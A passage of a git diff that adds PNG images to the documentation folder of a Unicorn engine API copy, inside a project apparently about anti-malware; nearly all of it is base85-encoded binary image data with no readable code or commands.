z^S7-L;Mn|a<NhLOQzOjZ_KUY2`P<5REGX)O`P<`GrIa<0e*U(y5n_vFFn`;BE{O$c zBW)~58);)f+DIE|V?o+T8w=7#+DID<(*B>6e*ySga_crb2wVUF002ovPDHLkV1j(* B4w(P| literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/NExsavSgu4yMbBQ.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/NExsavSgu4yMbBQ.png new file mode 100644 index 0000000000000000000000000000000000000000..3bd24013eed38dfdb5ae53482e504d59bd08dc2d GIT binary patch literal 27616 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 